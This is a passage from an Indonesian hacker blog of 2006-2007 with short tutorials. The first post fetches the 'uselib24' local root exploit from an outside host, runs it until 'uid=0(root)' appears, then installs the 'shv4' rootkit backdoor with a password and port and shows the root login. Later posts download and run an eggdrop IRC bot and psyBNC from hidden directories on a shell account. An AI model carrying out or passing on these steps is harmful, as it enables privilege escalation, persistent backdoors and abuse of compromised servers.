wget http://cuklidu.ifastnet.com/xpl/uselib24

5. chmod 755 uselib24;./uselib24

6. tunggu sampei proses selesai

7. klo tidak ada kesalah ato error coba ketik
id
uid=0(root) gid=0(root) groups=0(root)

jika id kamu sudah seperti itu berarti berhasil

8. selanjut install shv4.tgz
wget http://geocities.com/dede_dnet/tools/shv4.tar.gz
tar -zxvf shv4.tar.gz
cd shv4
./setup pass port
ex: ./setup password 2007

tunggu sampai selesei

setelah itu buka putty baru masukan ipshell dan port nya
jadi loginnya root dan password nya password

login as: root
Sent username "root"
root@12346789's password:
Last login: Tue Sep 4 10:14:49 2007 from 221.135.125.14

[sh] w.e.l.c.o.m.e
[sh] To The Virtual Reality
[sh] Enjoy and behave !

[root@SH-crew:/]#

selamat mencoba deh ...

mohon maap klo ada kesalahan dalam pembuatan tulisan ini
nama nya juga manusia hehhe

kangen bloging lage

2007-07-14T02:19:00.000+07:00

duw dah lama banget ga blogging lage,,, abiz ngga tau mau ngisi apaan lage :D hwhwh.. ni cuma dak da kerjaan aja ngisinya hak hak hak .. ya sudah..

ngantuk bye bye

Belajar 1

2007-04-11T01:03:00.000+07:00

Cara Membuat Gzip di shell..

tar -cf nama_file_yg_maw_dibuat.tar.gz nama_file --gzip

oke deyh.. selamat mencoba...

tar sambung lage...

TUTORIAL BIKIN PSYBNC DAN BOT

2006-11-12T20:34:00.000+07:00

#######################################
"cara bikin bot eggdrop NETGATE tcl "
######################################
1. pertama login shell anda
2. wget geocities.com/tusukaja/apiz.tar.gz
3. tar -zxvf apiz.tar.gz
4. cd .dat
5. ./ayu conf botnick identbot ip-shell channel owner
misal :
./ayu conf TestBot Bandunk 192.168.0.2 Bandunk a-peace <-- channel nggak pakai "#" - untuk melihat ip shell anda ketik --> //sbin/ifconfig atau ifconfig
6. ./dssl conf
7. /msg botnick hello <-- di mirc
8. selamat mencoba

############################
#"Cara bikin simple psybnc #
############################
1. login shell anda
2. wget geocities.com/mr_chatting_gtl/psy.tar.gz
3. tar -zxvf psy.tar.gz
4. cd .dat
5. ./config port-psybnc
misal : ./config 123456;./fuck;./run
jadi di mirc anda akan menggunakan /server ip-shell:123456
Selamat Mencoba